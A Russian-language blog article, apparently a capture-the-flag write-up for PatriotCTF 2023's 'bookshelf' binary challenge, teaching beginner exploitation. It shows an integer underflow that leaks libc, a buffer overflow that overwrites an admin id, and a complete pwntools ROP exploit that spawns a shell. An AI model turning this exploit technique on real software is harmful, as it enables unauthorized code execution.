Как стать автором
Обновить

Экзамен для начинающих. PWN. bookshelf PatriotCTF 2023

Уровень сложностиПростой
Время на прочтение5 мин
Количество просмотров1.6K

Недавно прошел PatriotCTF 2023. Таски хорошие особенно для начинающих. На нем можно быть проверить свои навыки в разделах:

  1. PWN

  2. Reverse

  3. Forensics

  4. Crypto

  5. Web

  6. Stego

  7. OSINT

Зацепил меня таск по разделу PWN. Чтобы его решить необходимы знания в:

  1. Реверсе

  2. ROP-цепочках

  3. Базовых понятиях интов

  4. Знать что такое переполнение буффера

Это экзамен для начинающих, потому что в таске включены все базовые уязвимости и атаки, которые должен знать PWN-ер.

Дисклеймер: Все данные, предоставленные в данной статье, взяты из открытых источников, не призывают к действию и являются только лишь данными для ознакомления, и изучения механизмов используемых технологий

Изучаем бинарный файл

Первичный анализ, по крайней мере у меня, начиинается так:

  1. file

  2. strings

  3. checksec

  4. xxd binary | grep "UPX"

  5. seccomp-tools

Вручную прописывать это не буду, потому что все это реализовано в программе J0llyTr0LLz.

Главное окно выглядит так:

Горячей клавишей Ctrl+O откроем файл и посмотрим, что он из себя представляет

По readelf в принципе ничего такого не видно. Просто эльфарь 64 разрядности и порядком байт little-end.

В file тоже ничего удивительного

Нет канарейки, отключена рандомизация адресов и бинарь не упакован UPX

Проверим, есть ли гаджеты по типу pop rax; ret или pop rsi; ret. Вдруг пригодятся. Ничего не нашли...

Теперь чекнем стоки нажав комбинацию Ctrl+S.

Проверю, есть ли seccomp. Они, обычно, отображаются в строках

Ничего особенного не нашли. Пойдем смотреть сервис.

Играем с сервисом

В главном окне отображается меню, в котором можно:

  1. Написать книгу

  2. Купить книгу

  3. Написать спецкнигу, только нужно быть админом

  4. Выйти

Попробуем купить книгу:

Ладно. Купили книгу и, наверное, осталось 75 баксов и тратить больше не можем. Так же нас просят какое-то пожертвование. Пока оставим этот пункт.

Попробуем написать книгу. Видимо, перед нами выбор или написать книгу или создать аудиокнигу

Ответим, например, нет( N ) и отправим какую-нибудь строчку

После игры с сервисом можно выделить только то, что необходимо попасть в пункт номер 3 - Write a special book (ADMINS ONLY) (0). Туда и будем стремиться попасть.

Реверс

Реверс программы будет осуществляться в IDA Pro. Начну реверс с функции, в которой покупаем книги. Все блоки похожи. Хватает денег - вычитается сумма, иначе сообщение You don't have enough cash!.

Посмотрим на глобальную переменную cash.

Видно, что это int. Может это unsigned int? Просто, если рассуждать именно так, то получается следующее: когда cash меньше 0, в нем будем содержаться самое большое значение

если cash < 0, то cash = 0xFFFFFFFF 0xFFFFFFFF = 4294967295

Вопрос теперь другой. Как дойти до этого? Насколько помню, была речь о пожертвовании. Прореверсим этот кусок кода

И тут можно увидеть, что нет проверки cash. Всегда будет отниматься 10 поинтов при пожертвовании. Проверим теперь теорию с беззнаковым целочисленным. Сразу попробуем автоматизировать это

for i in range(8):
io.recvuntil(b'4) Check out')
io.sendline(b'2')
io.sendline(b'2')
io.sendline(b'y')

Посмотрим результат выполнения

Настал момент, когда ушли в минус. Проверим баланс

Теория сработала! Это была переменная с типом данных - unsigned int. Теперь купим книжку

Как и ожидалось - получили утечку puts() из libc. Это означает, что можно получить базу libc, и дальше делать что угодно угодно.

База считается примерно так:

LEAK_FUNC_ADDR = LIBC_BASE + OFFSET

Значит, ищем смещение puts() в библиотеке и вычитаем это значение из утечки.

С этим разобрались. Теперь посмотрим, как получить доступ к админ панеле. Перед вызовом функции передается аргумент. Сразу переименовал его в uid

По умолчанию он равен 0

Однако, память утсроена так, что сначала идет какой-то буффер, потом выбор пункта меню и только после этого всего - uid. По смещениям можно сделать такие выводы:

  1. buf размером 43 байта

  2. choose размером 1 байт

  3. uid размером 4 байта

Значит нужно ввести как минимум 46 символов для переполнения.

То есть, если переполнить буффер, то можно перезаписать uid. Теперь вопрос: как переполнить буффер?

По перекрестным ссылкам можно найти это место в главной функции

Получается, что аргумент функции writeBook() - указатель на буффер.

В функции он передается еще одному массиву

Этот массив, [rbp+s] используется в самом конце. В него или добавляется вводимая нами строка или копируется

Ввод [rbp+src] ограничен 40 символами

И как тогда переполнить? Ответ прост. Нужно лишь пролистать листинг чуть выше

Здесь можно увидеть следующее. Если нажимаем y, то в массив [rbp+s] добавляется строка длиной 6 - (AB):

Картина будет следующая:

s = '(AB): '
s += 'A' * 40
len(s) = 46

После этого массив будет равен 46 символам, как нам и надо. Тут даже выдумывать ничего не нужно. Банально отправляем 40 символов и на вопрос про аудиокнигу отвечаем положительно

Как видим, uid изменился на значение 65, что по ASCII таблице означает A.

Теперь заглянем в админскую функцию

Просят что-то ввести. Просто попробуем отправить 256 каких-нибудь символов

Программа упала! Значит это и есть уязвимое место. Настало время писать эксплойт

Пишем эксплойт

Взглянув на память в IDA, можно понять, что для переполнения достаточно 64 символа. Поэтому размер мусорных данных для переполнения - 56 байтов, а все остальное полезная нагрузка.

Ранее была вычислена база libc, поэтому все функции, строки, гаджеты будем искать в приложенном файле - libc.so.6

Чтобы получить шелл, нужно выполнить такой системный вызов

execve("/bin/sh",0,0)

Посмотрим в J0llyTr0LLz таблицу системных вызовов, нажав на кнопку F1

  1. rax = 0x3b

  2. rdi = /bin/sh

  3. rsi = 0

  4. rdi = 0

Нужно найти 4 гаджета по типу

pop rax/rdi/rsi/rdx

ret

Со строкой /bin/sh проблем нет, потому что в любой библиотеке libc эта строка уже вшита. С syscall такая же история.

После поиска получил такие наброски:

SYSCALL_LIBC = p64(LIBC_BASE + 0x00000000011EA3B)
BIN_SH = p64(LIBC_BASE + 0x0000000001D8698)
POP_RAX_RET = p64(LIBC_BASE + 0x0000000000045eb0)
POP_RSI_RET = p64(LIBC_BASE + 0x000000000002be51)
POP_RDX_POP_R12_RET = p64(LIBC_BASE + 0x000000000011f497)
POP_RDI_RET = p64(LIBC_BASE + 0x000000000002a3e5)

Теперь осталось составить rop-цепочку

payload = POP_RDI_RET + BIN_SH + POP_RAX_RET + p64(0x3b) + POP_RSI_RET + p64(0x00) + POP_RDX_POP_R12_RET + p64(0x00) + p64(0x00) + SYSCALL_LIBC

и отправить это программе

io.recvuntil(b'4) Check out')
io.sendline(b'3')
io.sendline(junk + payload)

Теперь складываем все шаги и получаем такой эксплойт:

from pwn import *

exe = context.binary = ELF('./bookshelf')

def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.EDB:
return process(['edb','--run',exe.path] + argv, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)

gdbscript = '''
tbreak main
continue
'''.format(**locals())

def live_richy():
io.sendline(b'2')
io.sendline(b'2')
io.sendline(b'y')

def leak_plt_puts_func():
tmp = str(io.recvuntil(b'rested'))
tmp = tmp[2:len(tmp)-1]
tmp = tmp.split("\n")[0].split(" ")
ret_val = int(tmp[len(tmp)-2][2:],16)
return ret_val

def get_admin():
junk = b'A'*40
io.recvuntil(b'3) Write a special book (ADMINS ONLY) (0)')
io.sendline(b'1')
io.recvline()
io.sendline(b'y')
io.sendline(junk)

def get_shell(LIBC_BASE):
SYSCALL_LIBC = p64(LIBC_BASE + 0x00000000011EA3B)
BIN_SH = p64(LIBC_BASE + 0x0000000001D8698)
POP_RAX_RET = p64(LIBC_BASE + 0x0000000000045eb0)
POP_RSI_RET = p64(LIBC_BASE + 0x000000000002be51)
POP_RDX_POP_R12_RET = p64(LIBC_BASE + 0x000000000011f497)
POP_RDI_RET = p64(LIBC_BASE + 0x000000000002a3e5)
junk = b'A' * 56
payload = POP_RDI_RET + BIN_SH + POP_RAX_RET + p64(0x3b) + POP_RSI_RET + p64(0x00) + POP_RDX_POP_R12_RET + p64(0x00) + p64(0x00) + SYSCALL_LIBC

io.recvuntil(b'4) Check out')
io.sendline(b'3')
io.sendline(junk + payload)

io = start()

leak_plt_puts = 0
for i in range(8):
io.recvuntil(b'4) Check out')
live_richy()

io.sendline(b'2')
io.sendline(b'3')

leak_plt_puts = leak_plt_puts_func()
LIBC_BASE = leak_plt_puts - 0x000000000080ED0
log.success('leak_plt_puts: 0x{:x}'.format(leak_plt_puts))
log.success('LIBC_BASE: 0x{:x}'.format(LIBC_BASE))
io.sendline()

get_admin()
get_shell(LIBC_BASE)

io.interactive()

После запуска получаем шелл

Теги:
Хабы:
Всего голосов 3: ↑3 и ↓0+3
Комментарии0

Публикации

Истории

Работа

Ближайшие события

One day offer от ВСК
Дата16 – 17 мая
Время09:00 – 18:00
Место
Онлайн
Конференция «Я.Железо»
Дата18 мая
Время14:00 – 23:59
Место
МоскваОнлайн
Антиконференция X5 Future Night
Дата30 мая
Время11:00 – 23:00
Место
Онлайн
Конференция «IT IS CONF 2024»
Дата20 июня
Время09:00 – 19:00
Место
Екатеринбург
Summer Merge
Дата28 – 30 июня
Время11:00
Место
Ульяновская область